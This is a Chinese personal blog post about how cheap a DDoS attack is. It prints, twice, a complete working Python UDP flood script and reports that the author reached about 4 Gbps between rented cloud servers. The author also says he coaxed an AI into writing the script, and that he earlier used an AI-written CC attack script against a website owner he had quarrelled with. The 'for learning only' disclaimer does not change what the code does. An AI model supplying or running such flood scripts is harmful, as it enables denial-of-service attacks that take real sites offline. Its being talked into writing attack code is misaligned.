K7

K7Blog

须知少年凌云志 曾许人间第一流.
proton
telegram

原來DDOS成本那麼低 26行代碼完成測試

本文只是用於學習交流 DDOS 攻擊原理,並非教人去如何攻擊他人網站做出違法的事情。

前言:#

之前我寫了一篇記一段 CC 攻擊經歷記錄了身為小白的我,一行代碼都不會寫利用 AI 寫出一個簡單的 CC 攻擊腳本,攻擊一個發生過摩擦的站長(隨後這位站長禮尚往來 DDOS 和 CC 了我幾天)最後事情不了了之也沒有了後續。

今天這個文章去玩 DDOS 也是突發奇想的一個點子,我只知道 DDOS 向目標伺服器發送大量請求導致伺服器不可用,消耗伺服器的資源最後服務商那邊檢測出再將伺服器 IP 進入黑洞,來達到擊落的一個效果。

How_to_stop_DDoS_attacks_hero-1024x501

像 UDP TCP 洪水攻擊 放大攻擊,這些我聽說過但是並沒有認真去了解背後是如何實現依舊原理,Google 搜索出來的解釋都比較官方並不是很容易消化理解,於是找了 AI 進行另類的對話理解了其中的實現原理,並且套話 AI 把我寫一個 python 腳本自己進行了測試效果杆杆的。

代碼測試:#

在 vultr 開了兩台同地區的伺服器,均使用 CPU 優化伺服器,一個 80 刀一個 160 刀伺服器,一開始的代碼測試打出 5m 左右流量後面直接加了 1000 並發也才 7m,和 AI 溝通可以通過添加數據包大小達到流量巔峰。

寫出新的代碼測試,在 vultr 後臺顯示:

Snipaste_2024-05-19_13-33-35

伺服器都是 G 口流量,居然打出了 4Gbps 的效果,通過 SSH 連接工具監控也能看到巔峰上行 2G 左右,被打的伺服器也確實收到了這些流量由於我測試完了就立馬刪機了(怕官方封號,裡面還有一百多美金沒有用呢)就沒有過於詳細的截圖。

打了一下自己的伺服器,有的流量一過去就死,有的一台伺服器打不動兩台伺服器一起就死了,兩台伺服器如果只通過 SSH 連接工具監控來算差不多有 3-5G 的上行,短短測試一會幾百 G 的流量就沒有了,然後我之前買的香港 BPG 伺服器官方說 500M 帶寬,用腳本測速下行其實 500M 差不多上行居然有時可以跑到 2000M + 要是那些不法分子有著這些伺服器或者像 ColoCrossing 那種不限流量的伺服器在服務商那邊監管不嚴的情況下買個幾台輕輕鬆鬆就能把沒有防禦或低防禦的伺服器打進黑洞。

代碼貼出:#

注意⚠️:你只能用於學習了解 DDOS 攻擊原理,並且想自己研究如何防禦攻擊切勿拿來做違法的事情也切勿拿來做攻擊他人網站的事情。

不管是在 SEO 的角度來看或者一些公益或盈利的站點一個網站的穩定性都是非常重要的,常在河邊走那有不濕鞋想做違法的事情我勸你善良。

import socket
import threading
import time

def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes_to_send = message.encode('utf-8')
    end_time = time.time() + duration
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    for thread in threads:
        thread.join()
    print("Attack finished.")
target_ip = "127.0.0.1"  # 目標IP地址
target_port = 80             # 目標端口
message = "A" * 20000         # 發送的消息(1024字節大小的數據包)
duration = 100                # 持續時間(秒)
num_threads = 10           # 並發線程數
packet_size = 1024           # 每個UDP數據包的大小(字節)
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)

上面是去除一些多行和註釋,如不可用請用 AI 提供的原版:

import socket
import threading
import time

def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    # 創建UDP套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # 將消息編碼為字節
    bytes_to_send = message.encode('utf-8')
    
    # 獲取當前時間
    end_time = time.time() + duration
    
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    
    # 定義發送數據的函數
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    
    # 啟動多個線程發送UDP請求
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    
    # 等待所有線程完成
    for thread in threads:
        thread.join()
    
    print("Attack finished.")

# 配置攻擊參數
target_ip = "127.0.0.1"  # 目標IP地址
target_port = 80             # 目標端口
message = "A" * 20000         # 發送的消息(1024字節大小的數據包)
duration = 100                # 持續時間(秒)
num_threads = 10           # 並發線程數
packet_size = 1024           # 每個UDP數據包的大小(字節)

# 發起攻擊
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。